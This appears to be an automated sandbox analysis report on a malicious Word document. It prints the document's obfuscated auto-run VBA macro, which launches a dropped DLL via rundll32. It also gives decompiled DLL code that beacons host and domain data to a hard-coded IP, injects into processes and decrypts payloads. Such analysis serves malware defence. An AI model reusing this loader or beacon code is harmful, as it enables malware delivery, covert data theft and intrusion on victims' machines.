9	Option Explicit
10	Option Compare Text
11	Private Declare PtrSafe Function gc Lib "shell32" Alias "ShellExecuteA"(ByVal hwnd as Long, ByVal lpOperation as String, ByVal lpFile as String, ByVal lpParameters as String, ByVal lpDirectory as String, ByVal nShowCmd as Long) as Long
16	Dim hdv as String
17	Dim bbbb as String

Executed Functions

Subroutine Document_Open, APIs: 16, Strings: 5, Number of lines: 18, Relevance: 58.018

APIs	Meta Information
wdUserTemplatesPath
DefaultFilePath
Dir
Part of subcall function yyy@ThisDocument: MoveDown
Part of subcall function yyy@ThisDocument: wdLine
Part of subcall function yyy@ThisDocument: MoveRight
Part of subcall function yyy@ThisDocument: wdCharacter
Part of subcall function yyy@ThisDocument: MoveDown
Part of subcall function yyy@ThisDocument: wdLine
Part of subcall function yyy@ThisDocument: MoveRight
Part of subcall function yyy@ThisDocument: wdCharacter
Part of subcall function yyy@ThisDocument: TypeBackspace
Part of subcall function yyy@ThisDocument: Copy
Len	Len("C:\Users\Albus\AppData\Local\Temp\nimb.dll") -> 42
shell32!ShellExecuteA	shell32!ShellExecuteA(0,"","rundll32","c:\users\albus\appdata\roaming\microsoft\templates\niberius.dll,ONOQWPYIEIR","",1)
vbNullString

Strings	Decrypted Strings
"r"
""""
"l"
"l"
"l"

Line	Instruction	Meta Information
18	Private Sub Document_Open()
19	Dim vcbc as String	executed
21	Dim cx
22	cx = wdUserTemplatesPath	wdUserTemplatesPath
23	bbbb = "r"
24	vcbc = Options.DefaultFilePath(cx)	DefaultFilePath
25	bbbb = bbbb & "u" & "n"
26	Call xz()
27	If Dir(vcbc & "\niberius.dll") = "" Then	Dir
28	Call yyy()
30	If Len(hdv) > 2 Then	Len("C:\Users\Albus\AppData\Local\Temp\nimb.dll") -> 42 executed
32	Call nam(hdv)
37	Dim cvzz as String
38	cvzz = "l" & 4 - 1 & "2"
40	gc 0, vbNullString, bbbb & cvzz, vcbc & "\niberius.d" & "ll,ONOQWPYIEIR", vbNullString, 1	shell32!ShellExecuteA(0,"","rundll32","c:\users\albus\appdata\roaming\microsoft\templates\niberius.dll,ONOQWPYIEIR","",1) vbNullString executed
43	Endif
44	Endif
45	End Sub

Subroutine yyy, APIs: 18, Strings: 0, Number of lines: 9, Relevance: 22.509

APIs	Meta Information
MoveDown
wdLine
MoveRight
wdCharacter
MoveDown
wdLine
MoveRight
wdCharacter
TypeBackspace
Copy
Part of subcall function bvxfcsd@Module3: Dir
Part of subcall function bvxfcsd@Module3: Left
Part of subcall function bvxfcsd@Module3: DefaultFilePath
Part of subcall function bvxfcsd@Module3: wdUserTemplatesPath
Part of subcall function bvxfcsd@Module3: vbDirectory
Part of subcall function bvxfcsd@Module3: Left
Part of subcall function bvxfcsd@Module3: DefaultFilePath
Part of subcall function bvxfcsd@Module3: wdUserTemplatesPath

Line	Instruction	Meta Information
68	Sub yyy()
69	Selection.MoveDown Unit := wdLine, Count := 3	MoveDown wdLine executed
70	Selection.MoveRight Unit := wdCharacter, Count := 2	MoveRight wdCharacter
71	Selection.MoveDown Unit := wdLine, Count := 3	MoveDown wdLine
72	Selection.MoveRight Unit := wdCharacter, Count := 2	MoveRight wdCharacter
73	Selection.TypeBackspace	TypeBackspace
74	Selection.Copy	Copy
75	Call bvxfcsd()
76	End Sub

Subroutine hdhdd, APIs: 5, Strings: 0, Number of lines: 10, Relevance: 6.26

APIs	Meta Information
Part of subcall function Search@Module1: SubFolders
Part of subcall function Search@Module1: Files
Part of subcall function Search@Module1: Name
Part of subcall function Search@Module1: Clear
GetFolder

Line	Instruction	Meta Information
53	Sub hdhdd(asda as String)
54	Dim MyFSO as FileSystemObject	executed
55	Dim MyFile as File
56	Dim SourceFolder as String
57	Dim DestinationFolder as String
58	Dim MyFolder as Folder
59	Dim MySubFolder as Folder
60	Set MyFSO = New Scripting.FileSystemObject
63	Call Search(MyFSO.GetFolder(asda), hdv)	GetFolder
65	End Sub

Subroutine xz, APIs: 0, Strings: 0, Number of lines: 3, Relevance: 0.003

Line	Instruction	Meta Information
47	Sub xz()
48	bbbb = bbbb & "dl"	executed
49	End Sub

Reset < >

Analysis Process: rundll32.exe PID: 2668 Parent PID: 2776 rundll32.exeCOMMON

Executed Functions

Function 021128D0, Relevance: 31.7, APIs: 13, Strings: 5, Instructions: 188
stringnetworkCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E021128D0(char* _a4, CHAR* _a8, void* _a12, char _a16, DWORD* _a20) {
				void* _v8;
				void* _v12;
				signed short _v16;
				signed int _v20;
				signed int _v24;
				void _v28;
				void* _v32;
				int _v36;
				long _v40;
				int _v44;
				int _v48;
				long _v52;
				intOrPtr _v64;
				char* _v68;
				signed short _v88;
				intOrPtr _v92;
				char* _v96;
				long _v100;
				void* _v112;
				char _v372;
				char _v632;
				void* _t86;
				int _t90;
				int _t100;
				void* _t145;

				E021114A0( &_v112, 0, 0x3c);
				_v112 = 0x3c;
				_v96 =  &_v372;
				_v92 = 0x104;
				_v68 =  &_v632;
				_v64 = 0x104;
				_v36 = 0;
				_v44 = lstrlenA("Content-Type: application/x-www-form-urlencoded");
				 *((char*)(_t145 + 0xfffffffffffffe90)) = 0;
				 *((char*)(_t145 + 0xfffffffffffffd8c)) = 0;
				if(_a8 != 0) {
					_v36 = lstrlenA(_a8);
				}
				if(InternetCrackUrlA(_a4, 0, 0,  &_v112) != 0) {
					if(_v100 == 0) {
						_v100 = 3;
					}
					if(_v100 == 3 || _v100 == 4) {
						_v32 = E021124F0();
						if(_v32 != 0) {
							_v16 = _v88;
							_v20 = 0x84080100;
							if(_v100 == 4) {
								_v20 = _v20 | 0x00803000;
							}
							_t86 = InternetConnectA(_v32,  &_v372, _v16 & 0x0000ffff, 0, 0, 3, 0, 0); // executed
							_v12 = _t86;
							if(_v12 != 0) {
								_v8 = HttpOpenRequestA(_v12, "POST",  &_v632, 0, 0, 0x2117048, _v20, 0);
								if(_v8 != 0) {
									if(_v100 == 4) {
										_v40 = 4;
										_t46 =  &_v24; // 0x2a5be8
										InternetQueryOptionA(_v8, 0x1f, _t46,  &_v40);
										_t48 =  &_v24; // 0x2a5be8
										_v24 =  *_t48 | 0x00001100;
										_t50 =  &_v24; // 0x2a5be8
										InternetSetOptionA(_v8, 0x1f, _t50, 4);
									}
									_t90 = HttpSendRequestA(_v8, "Content-Type: application/x-www-form-urlencoded", _v44, _a8, _v36); // executed
									_v48 = _t90;
									_v28 = 0;
									if(_v48 == 1) {
										_v52 = 4;
										HttpQueryInfoA(_v8, 0x20000013,  &_v28,  &_v52, 0);
										if(_v28 == 0xc8 && _a12 != 0) {
											_t66 =  &_a16; // 0x2a5be8
											_t100 = InternetReadFile(_v8, _a12,  *_t66 - 1, _a20); // executed
											if(_t100 == 0 ||  *_a20 <= 0) {
												 *_a20 = 0;
											} else {
												 *((char*)(_a12 +  *_a20)) = 0;
											}
										}
									}
									InternetCloseHandle(_v8);
									InternetCloseHandle(_v12);
									if(_v28 != 0xc8) {
										return 0;
									} else {
										return 1;
									}
								}
								InternetCloseHandle(_v12);
								return 0;
							} else {
								return 0;
							}
						}
						return 0;
					} else {
						return 0;
					}
				}
				return 0;
			}

0x021128e1
0x021128e9
0x021128f6
0x021128f9
0x02112906
0x02112909
0x02112910
0x02112922
0x0211292d
0x0211293d
0x02112949
0x02112955
0x02112955
0x0211296c
0x02112979
0x0211297b
0x0211297b
0x02112986
0x0211299a
0x021129a1
0x021129ae
0x021129b2
0x021129bd
0x021129c8
0x021129c8
0x021129e5
0x021129eb
0x021129f2
0x02112a20
0x02112a27
0x02112a3e
0x02112a40
0x02112a4b
0x02112a55
0x02112a5b
0x02112a64
0x02112a69
0x02112a73
0x02112a73
0x02112a8e
0x02112a94
0x02112a97
0x02112aa2
0x02112aa4
0x02112abe
0x02112acb
0x02112ad7
0x02112ae6
0x02112aee
0x02112b09
0x02112af8
0x02112b00
0x02112b00
0x02112aee
0x02112acb
0x02112b13
0x02112b1d
0x02112b2a
0x00000000
0x02112b2c
0x00000000
0x02112b2c
0x02112b2a
0x02112a2d
0x00000000
0x021129f4
0x00000000
0x021129f4
0x021129f2
0x00000000
0x0211298e
0x00000000
0x0211298e
0x02112986
0x00000000

APIs

lstrlenA.KERNEL32(Content-Type: application/x-www-form-urlencoded), ref: 0211291C
lstrlenA.KERNEL32(00000000), ref: 0211294F

Part of subcall function 021124F0: InternetOpenA.WININET(Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko,00000000,00000000,00000000,00000000), ref: 02112509

InternetCrackUrlA.WININET(?,00000000,00000000,0000003C), ref: 02112964
InternetConnectA.WININET(00000000,00000000,00000000,00000000,00000000,00000003,00000000,00000000), ref: 021129E5

Strings

[*, xrefs: 02112AD7, 02112ADD
[*, xrefs: 02112A4B, 02112A5B, 02112A69, 02112A4E, 02112A6C
<, xrefs: 021128E9
Content-Type: application/x-www-form-urlencoded, xrefs: 02112917, 02112A85
POST, xrefs: 02112A11

Memory Dump Source

Source File: 00000003.00000002.2346314863.0000000002111000.00000020.00020000.sdmp, Offset: 02110000, based on PE: true

Associated: 00000003.00000002.2346293618.0000000002110000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.2346335885.0000000002114000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.2346348308.0000000002115000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.2346357529.0000000002118000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: Internet$lstrlen$ConnectCrackOpen
String ID: <$Content-Type: application/x-www-form-urlencoded$POST$[*$[*
API String ID: 4167639401-1723730623
Opcode ID: c3573369e396b105bfa51085c0adb34b59cab5fd4f14adcf14798516045b5008
Instruction ID: 1d8a9d12255391ae9d2f57b39a359fdfd2fa4dd69e2c167525d32850be6ed0df
Opcode Fuzzy Hash: c3573369e396b105bfa51085c0adb34b59cab5fd4f14adcf14798516045b5008
Instruction Fuzzy Hash: 82716F71E44219EFEF14CFA4D949BEEB7B5FB48700F104528E906AB280D7749A84CF95

Uniqueness

Uniqueness Score: -1.00%

Function 0214E556, Relevance: 13.8, APIs: 9, Instructions: 318memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNELBASE(00000000,00000739,00003000,00000040,00000739,0214DFA8), ref: 0214E613
VirtualAlloc.KERNEL32(00000000,0000006B,00003000,00000040,0214E008), ref: 0214E64A
VirtualAlloc.KERNEL32(00000000,00008451,00003000,00000040), ref: 0214E6AA
VirtualFree.KERNEL32(00000000,00000000,00008000), ref: 0214E6E0
VirtualProtect.KERNEL32(02110000,00000000,00000004,0214E535), ref: 0214E7E5
VirtualProtect.KERNEL32(02110000,00001000,00000004,0214E535), ref: 0214E80C
VirtualProtect.KERNEL32(00000000,?,00000002,0214E535), ref: 0214E8D9
VirtualProtect.KERNEL32(00000000,?,00000002,0214E535,?), ref: 0214E92F
VirtualFree.KERNEL32(00000000,00000000,00008000), ref: 0214E94B

Memory Dump Source

Source File: 00000003.00000002.2346419929.000000000214D000.00000040.00020000.sdmp, Offset: 0214D000, based on PE: false

Similarity

API ID: Virtual$Protect$Alloc$Free
String ID:
API String ID: 2574235972-0
Opcode ID: 7e01d0e0b06f57a0e5f359c8343159217ef03ed4bc11fed63d4e30c9eeb14fc3
Instruction ID: b699c13373ebf5f0289ef7195e5ed1dc871e7091320cf187e3e1d1b18eca8a92
Opcode Fuzzy Hash: 7e01d0e0b06f57a0e5f359c8343159217ef03ed4bc11fed63d4e30c9eeb14fc3
Instruction Fuzzy Hash: 7BD17BB66402019FEF11CF14C8C1F9577A6FF48B10B0945A4EE9E9F25EEB70A851CBA4

Uniqueness

Uniqueness Score: -1.00%

Function 02112CD0, Relevance: 12.1, APIs: 8, Instructions: 91
encryptionCOMMON

Download Yara Rule

C-Code - Quality: 37%

			E02112CD0(BYTE* _a4, int _a8, intOrPtr _a12, intOrPtr _a16) {
				int _v8;
				long* _v12;
				long* _v16;
				int _v20;
				intOrPtr _v24;
				int _t32;
				intOrPtr _t33;
				long* _t35;

				_v16 = 0;
				_v8 = 0;
				_v12 = 0;
				_v20 = 0;
				_v24 = 0x280011;
				_t32 = CryptAcquireContextA( &_v12, 0, 0, 1, 0xf0000000); // executed
				if(_t32 != 0) {
					__imp__CryptCreateHash(_v12, 0x8004, 0, 0,  &_v8);
					if(_t32 != 0) {
						_t33 = _a16;
						__imp__CryptHashData(_v8, _a12, _t33, 0);
						if(_t33 != 0) {
							_t35 = _v12;
							__imp__CryptDeriveKey(_t35, 0x6801, _v8, _v24,  &_v16);
							if(_t35 != 0) {
								if(CryptDecrypt(_v16, 0, 1, 0, _a4,  &_a8) != 0) {
									_v20 = _a8;
								}
							}
						}
					}
				}
				if(_v8 != 0) {
					__imp__CryptDestroyHash(_v8);
					_v8 = 0;
				}
				if(_v16 != 0) {
					CryptDestroyKey(_v16);
					_v16 = 0;
				}
				if(_v12 != 0) {
					CryptReleaseContext(_v12, 0);
					_v12 = 0;
				}
				return _v20;
			}

0x02112cd6
0x02112cdd
0x02112ce4
0x02112ceb
0x02112cf2
0x02112d08
0x02112d10
0x02112d2d
0x02112d35
0x02112d3d
0x02112d49
0x02112d51
0x02112d68
0x02112d6c
0x02112d74
0x02112d94
0x02112d9d
0x02112d9d
0x02112d94
0x02112d74
0x02112d51
0x02112d35
0x02112da4
0x02112daa
0x02112db0
0x02112db0
0x02112dbb
0x02112dc1
0x02112dc7
0x02112dc7
0x02112dd2
0x02112dda
0x02112de0
0x02112de0
0x02112ded

APIs

CryptAcquireContextA.ADVAPI32(00000000,00000000,00000000,00000001,F0000000), ref: 02112D08
CryptCreateHash.ADVAPI32(00000000,00008004,00000000,00000000,00000000), ref: 02112D2D
CryptDestroyHash.ADVAPI32(00000000), ref: 02112DAA
CryptDestroyKey.ADVAPI32(00000000), ref: 02112DC1
CryptReleaseContext.ADVAPI32(00000000,00000000), ref: 02112DDA

Memory Dump Source

Source File: 00000003.00000002.2346314863.0000000002111000.00000020.00020000.sdmp, Offset: 02110000, based on PE: true

Associated: 00000003.00000002.2346293618.0000000002110000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.2346335885.0000000002114000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.2346348308.0000000002115000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.2346357529.0000000002118000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: Crypt$ContextDestroyHash$AcquireCreateRelease
String ID:
API String ID: 1222261195-0
Opcode ID: a460fedb8747e90d169b0eec30eb76849be74d82b740a0093b11bcc4c1f5d92a
Instruction ID: 60b3ef229f70612d6f5a4831ec34fdb2031eb13403934c04506db33e340dcf7f
Opcode Fuzzy Hash: a460fedb8747e90d169b0eec30eb76849be74d82b740a0093b11bcc4c1f5d92a
Instruction Fuzzy Hash: E8312EB5A80218FBEF14CFA1DD48FEF77B8AB44B05F108459FA11A7280D7B59644CB51

Uniqueness

Uniqueness Score: -1.00%

Function 02111AA0, Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 138
COMMON

Download Yara Rule

C-Code - Quality: 95%

			E02111AA0(intOrPtr __edx, void* __eflags, void* _a4, char _a8, DWORD* _a12) {
				intOrPtr _v8;
				signed int _v12;
				signed int _v16;
				signed int _v20;
				intOrPtr _v24;
				intOrPtr _v28;
				intOrPtr _v32;
				intOrPtr _v36;
				char _v68;
				char _v324;
				char _v2372;
				char _v6468;
				intOrPtr _t47;
				intOrPtr _t56;
				char* _t63;
				intOrPtr _t66;
				intOrPtr _t69;
				intOrPtr _t70;
				intOrPtr _t71;
				char* _t72;
				void* _t75;
				char* _t89;
				intOrPtr _t95;
				char* _t104;
				intOrPtr _t106;
				void* _t110;
				void* _t113;
				void* _t114;

				_t95 = __edx;
				E02111420(0x1940);
				_v12 = GetVersion();
				_t47 = E02112630(_t95); // executed
				_v32 = _t47;
				_v28 = _t95;
				E021130F0( &_v324); // executed
				E02112520( &_v68,  &_v68); // executed
				E021123C0( &_v2372); // executed
				_t113 = _t110 + 0xc;
				_v20 = _v12 & 0xff;
				_v16 = (_v12 & 0xffff) >> 0x00000008 & 0xff;
				_t56 = E02113400(); // executed
				_v36 = _t56;
				if(_v36 != 1) {
					_push(_v16);
					wsprintfA( &_v6468, "GUID=%I64u&BUILD=%s&INFO=%s&EXT=%s&IP=%s&TYPE=1&WIN=%d.%d(x32)", _v32, _v28, E021125B0( &_v68),  &_v324,  &_v2372,  &_v68, _v20);
					_t114 = _t113 + 0x28;
				} else {
					_push(_v16);
					_t75 = E021125B0( &_v324); // executed
					wsprintfA( &_v6468, "GUID=%I64u&BUILD=%s&INFO=%s&EXT=%s&IP=%s&TYPE=1&WIN=%d.%d(x64)", _v32, _v28, _t75,  &_v324,  &_v2372,  &_v68, _v20);
					_t114 = _t113 + 0x28;
				}
				if( *0x21172a0 == 0) {
					_t71 = E02111390(0x400);
					_t114 = _t114 + 4;
					 *0x21172a0 = _t71;
					_t72 =  *0x21172a0; // 0x2a5be8
					 *_t72 = 0;
				}
				_v24 = 1;
				while(_v24 == 1) {
					_t63 =  *0x21172a0; // 0x2a5be8
					_t87 =  *_t63;
					if( *_t63 == 0) {
						_t106 =  *0x21172a0; // 0x2a5be8
						_t70 = E02112660(_t87, _t106);
						_t114 = _t114 + 4;
						_v24 = _t70;
					}
					_t89 =  *0x21172a0; // 0x2a5be8
					_t66 = E021128D0(_t89,  &_v6468, _a4, _a8, _a12); // executed
					_t114 = _t114 + 0x14;
					_v8 = _t66;
					if(_v8 == 1) {
						_t69 = E02111A00(_t89, _a4);
						_t114 = _t114 + 4;
						_v8 = _t69;
					}
					if(_v8 != 1) {
						_t104 =  *0x21172a0; // 0x2a5be8
						 *_t104 = 0;
						continue;
					} else {
						return 1;
					}
				}
				return 0;
			}

0x02111aa0
0x02111aa8
0x02111ab3
0x02111ab6
0x02111abb
0x02111abe
0x02111ac8
0x02111ad4
0x02111ae3
0x02111ae8
0x02111aff
0x02111b19
0x02111b1c
0x02111b21
0x02111b28
0x02111b6c
0x02111b9d
0x02111ba3
0x02111b2a
0x02111b2d
0x02111b44
0x02111b5e
0x02111b64
0x02111b64
0x02111bad
0x02111bb4
0x02111bb9
0x02111bbc
0x02111bc9
0x02111bce
0x02111bce
0x02111bd2
0x02111bd9
0x02111beb
0x02111bf0
0x02111bf6
0x02111bf8
0x02111bff
0x02111c04
0x02111c07
0x02111c07
0x02111c1d
0x02111c24
0x02111c29
0x02111c2c
0x02111c33
0x02111c39
0x02111c3e
0x02111c41
0x02111c41
0x02111c48
0x02111c59
0x02111c5f
0x00000000
0x02111c4a
0x00000000
0x02111c4a
0x02111c48
0x00000000

APIs

GetVersion.KERNEL32(?,021118CD,?,00100000,?), ref: 02111AAD

Part of subcall function 021130F0: GetComputerNameA.KERNEL32(?,00000104), ref: 0211311A
Part of subcall function 021130F0: lstrcatA.KERNEL32(00100000,?), ref: 0211312F
Part of subcall function 021130F0: lstrcatA.KERNEL32(00100000, @ ), ref: 0211313E
Part of subcall function 021130F0: lstrcatA.KERNEL32(00100000,?), ref: 02113162

Part of subcall function 02112520: lstrcpyA.KERNEL32(02111AD9,185.189.150.70,?,?,02111AD9,?,?), ref: 02112540

Part of subcall function 021123C0: DsEnumerateDomainTrustsA.NETAPI32(00000000,0000003F,02111AE8,?,?,02111AE8,?,?,?), ref: 021123E1

Part of subcall function 02113400: GetModuleHandleA.KERNEL32(kernel32.dll,?,?,?,?,?,?,?,?,?,?,?,?,?,02111B21), ref: 0211341B

wsprintfA.USER32 ref: 02111B5E
wsprintfA.USER32 ref: 02111B9D

Strings

[*, xrefs: 02111BA6, 02111BBC, 02111BC9, 02111BEB, 02111BF8, 02111C1D, 02111C59
GUID=%I64u&BUILD=%s&INFO=%s&EXT=%s&IP=%s&TYPE=1&WIN=%d.%d(x64), xrefs: 02111B52
GUID=%I64u&BUILD=%s&INFO=%s&EXT=%s&IP=%s&TYPE=1&WIN=%d.%d(x32), xrefs: 02111B91

Memory Dump Source

Source File: 00000003.00000002.2346314863.0000000002111000.00000020.00020000.sdmp, Offset: 02110000, based on PE: true

Associated: 00000003.00000002.2346293618.0000000002110000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.2346335885.0000000002114000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.2346348308.0000000002115000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.2346357529.0000000002118000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: lstrcat$wsprintf$ComputerDomainEnumerateHandleModuleNameTrustsVersionlstrcpy
String ID: GUID=%I64u&BUILD=%s&INFO=%s&EXT=%s&IP=%s&TYPE=1&WIN=%d.%d(x32)$GUID=%I64u&BUILD=%s&INFO=%s&EXT=%s&IP=%s&TYPE=1&WIN=%d.%d(x64)$[*
API String ID: 768865819-3543351529
Opcode ID: 7e92d3532b1eebb01149e9d5506c8989b453d3774b186e916650c5b9a8a58ef8
Instruction ID: f5734e370055a9ef7ac79ebf7436e87fc051d5436d8a154accdf58a0c1e7d8e6
Opcode Fuzzy Hash: 7e92d3532b1eebb01149e9d5506c8989b453d3774b186e916650c5b9a8a58ef8
Instruction Fuzzy Hash: 63514FB2D40219AFDB18DF98D891AFFB7B9BB48300F04857DE60A97240E7349A95CF51

Uniqueness

Uniqueness Score: -1.00%

Function 02113400, Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 39
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 75%

			E02113400() {
				struct HINSTANCE__* _v8;
				_Unknown_base(*)()* _v12;
				struct _SYSTEM_INFO _v48;

				E021114A0( &_v48, 0, 0x24);
				_v8 = GetModuleHandleA("kernel32.dll");
				if(_v8 != 0) {
					_v12 = GetProcAddress(_v8, "GetNativeSystemInfo");
					if(_v12 == 0) {
						GetSystemInfo( &_v48);
					} else {
						_v12( &_v48);
					}
					if((_v48.dwOemId & 0x0000ffff) != 9) {
						return 0;
					} else {
						return 1;
					}
				}
				return 0;
			}

0x0211340e
0x02113421
0x02113428
0x0211343d
0x02113444
0x02113453
0x02113446
0x0211344a
0x0211344a
0x02113460
0x00000000
0x02113462
0x00000000
0x02113462
0x02113460
0x00000000

APIs

GetModuleHandleA.KERNEL32(kernel32.dll,?,?,?,?,?,?,?,?,?,?,?,?,?,02111B21), ref: 0211341B
GetProcAddress.KERNEL32(00000000,GetNativeSystemInfo), ref: 02113437
GetNativeSystemInfo.KERNEL32(?), ref: 0211344A

Strings

kernel32.dll, xrefs: 02113416
GetNativeSystemInfo, xrefs: 0211342E

Memory Dump Source

Source File: 00000003.00000002.2346314863.0000000002111000.00000020.00020000.sdmp, Offset: 02110000, based on PE: true

Associated: 00000003.00000002.2346293618.0000000002110000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.2346335885.0000000002114000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.2346348308.0000000002115000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.2346357529.0000000002118000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: AddressHandleInfoModuleNativeProcSystem
String ID: GetNativeSystemInfo$kernel32.dll
API String ID: 3469989633-192647395
Opcode ID: 53db8621902dbe3c026bf37e881f526661a4448bb6aac6d32826b31ee3a89c11
Instruction ID: c461a544ef8414ee8fae98f9c555ec4f36e1c227699b2213f880be55d13d761b
Opcode Fuzzy Hash: 53db8621902dbe3c026bf37e881f526661a4448bb6aac6d32826b31ee3a89c11
Instruction Fuzzy Hash: 4A01F470D80308EBDB04DFF5D94A7EEB7B8AB08B11F0089B4E522B3480E3748284C760

Uniqueness

Uniqueness Score: -1.00%

Function 02121E10, Relevance: 9.3, APIs: 4, Strings: 1, Instructions: 579COMMON

Download Yara Rule

APIs

_setlocale.LIBCMT ref: 02121E7E
GetEnvironmentVariableA.KERNEL32(021467F4,?,00000804), ref: 02121E97
GetModuleFileNameA.KERNEL32(00000000,?,00000804), ref: 021220A6
SetConsoleCP.KERNEL32(00000000), ref: 02122165

Strings

+, xrefs: 021225F8

Memory Dump Source

Source File: 00000003.00000002.2346367509.000000000211A000.00000020.00020000.sdmp, Offset: 0211A000, based on PE: false

Similarity

API ID: ConsoleEnvironmentFileModuleNameVariable_setlocale
String ID: +
API String ID: 176666651-2126386893
Opcode ID: 444b8103bb17b1272a0ddec509aadaf246b5f2214a144df302a7ceda90be6f7f
Instruction ID: a52895fec25a4a3d23fb99260d79bb8609db6f7b004f6b3fe459636223a3d3bc
Opcode Fuzzy Hash: 444b8103bb17b1272a0ddec509aadaf246b5f2214a144df302a7ceda90be6f7f
Instruction Fuzzy Hash: DB5206BCE82110CFC728CF69E590A6B77E2B788304B168A2BD44D97245DB3179A4CFD1

Uniqueness

Uniqueness Score: -1.00%

Function 02113270, Relevance: 6.1, APIs: 4, Instructions: 113
memoryinjectionCOMMON

Download Yara Rule

C-Code - Quality: 88%

			E02113270(void* _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr* _a16, intOrPtr* _a20) {
				void* _v8;
				void* _v12;
				void* _v16;
				long _v20;
				intOrPtr _v24;
				long _v28;
				void* _t55;
				void* _t57;
				void* _t59;
				int _t65;
				void* _t92;
				void* _t93;

				_t3 = _a8 + 0x3c; // 0xf445c7f8
				_v24 = _a8 +  *_t3;
				_v16 =  *((intOrPtr*)(_v24 + 0x34));
				_v20 =  *((intOrPtr*)(_v24 + 0x50));
				_v12 = 0;
				_v8 = 0;
				_v28 = 0;
				while(1) {
					_t55 = VirtualAllocEx(_a4, _v16, _v20, 0x3000, 0x40); // executed
					_v8 = _t55;
					if(_v8 == 0) {
						_v8 = VirtualAllocEx(_a4, 0, _v20, 0x3000, 0x40);
						_v16 = _v8;
					}
					if(_v8 == 0) {
						break;
					}
					_t57 = E02111390(_v20); // executed
					_t93 = _t92 + 4;
					_v12 = _t57;
					if(_v12 != 0) {
						_t59 = E02113A00(_a8, _a12, _v12, _v16);
						_t92 = _t93 + 0x10;
						if(_t59 == 0) {
						} else {
							if(_a16 != 0) {
								 *_a16 = _v16;
							}
							if(_a20 != 0) {
								 *_a20 = _v16 +  *((intOrPtr*)(_v24 + 0x28));
							}
							_t65 = WriteProcessMemory(_a4, _v8, _v12, _v20, 0); // executed
							if(_t65 != 0) {
								_v28 = 1;
								if(0 != 0) {
									continue;
								}
							} else {
							}
						}
					} else {
					}
					L17:
					if(_v12 != 0) {
						E021113D0(_v12);
					}
					if(_v8 != 0 && _v28 == 0) {
						VirtualFreeEx(_a4, _v8, 0, 0x8000);
					}
					return _v28;
				}
				goto L17;
			}

0x0211327c
0x0211327f
0x02113288
0x02113291
0x02113294
0x0211329b
0x021132a2
0x021132a9
0x021132bc
0x021132c2
0x021132c9
0x021132e2
0x021132e8
0x021132e8
0x021132ef
0x00000000
0x00000000
0x021132fa
0x021132ff
0x02113302
0x02113309
0x0211331d
0x02113322
0x02113327
0x02113329
0x0211332d
0x02113335
0x02113335
0x0211333b
0x02113349
0x02113349
0x02113361
0x02113369
0x0211336d
0x02113376
0x00000000
0x00000000
0x00000000
0x0211336b
0x02113369
0x00000000
0x0211330b
0x0211337c
0x02113380
0x02113386
0x0211338b
0x02113392
0x021133a9
0x021133a9
0x021133b5
0x021133b5
0x00000000

APIs

VirtualAllocEx.KERNELBASE(00000000,02111ECF,FFFFFFFF,00003000,00000040), ref: 021132BC
VirtualAllocEx.KERNEL32(00000000,00000000,FFFFFFFF,00003000,00000040), ref: 021132DC

Part of subcall function 02111390: GetProcessHeap.KERNEL32(?,02111886,00100000), ref: 0211139C
Part of subcall function 02111390: RtlAllocateHeap.NTDLL(00230000,00000000,02111886,?,02111886,00100000), ref: 021113BD

WriteProcessMemory.KERNELBASE(00000000,00000000,00000000,FFFFFFFF,00000000), ref: 02113361
VirtualFreeEx.KERNEL32(00000000,00000000,00000000,00008000), ref: 021133A9

Memory Dump Source

Source File: 00000003.00000002.2346314863.0000000002111000.00000020.00020000.sdmp, Offset: 02110000, based on PE: true

Associated: 00000003.00000002.2346293618.0000000002110000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.2346335885.0000000002114000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.2346348308.0000000002115000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.2346357529.0000000002118000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: Virtual$AllocHeapProcess$AllocateFreeMemoryWrite
String ID:
API String ID: 2713107948-0
Opcode ID: ad61b43c12100b8b81d76861ffe7848179b1be3578db5243e7788f4e366e59b6
Instruction ID: 5f8f7d87c8832ba2e53dc4a192f60846c6eebd4e92968ecfd49442de28dd8833
Opcode Fuzzy Hash: ad61b43c12100b8b81d76861ffe7848179b1be3578db5243e7788f4e366e59b6
Instruction Fuzzy Hash: 59411CB4E40209EFDB14CF94C884BAFB7B5BB88304F1085A8E915A7284D770AA84CB95

Uniqueness

Uniqueness Score: -1.00%

Function 02111390, Relevance: 3.0, APIs: 2, Instructions: 18
memoryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E02111390(long _a4) {
				void* _t4;
				void* _t6;

				if( *0x211715c == 0) {
					 *0x211715c = GetProcessHeap();
				}
				if( *0x211715c == 0) {
					return 0;
				} else {
					_t6 =  *0x211715c; // 0x230000
					_t4 = RtlAllocateHeap(_t6, 0, _a4); // executed
					return _t4;
				}
			}

0x0211139a
0x021113a2
0x021113a2
0x021113ae
0x00000000
0x021113b0
0x021113b6
0x021113bd
0x00000000
0x021113bd

APIs

GetProcessHeap.KERNEL32(?,02111886,00100000), ref: 0211139C
RtlAllocateHeap.NTDLL(00230000,00000000,02111886,?,02111886,00100000), ref: 021113BD

Memory Dump Source

Source File: 00000003.00000002.2346314863.0000000002111000.00000020.00020000.sdmp, Offset: 02110000, based on PE: true

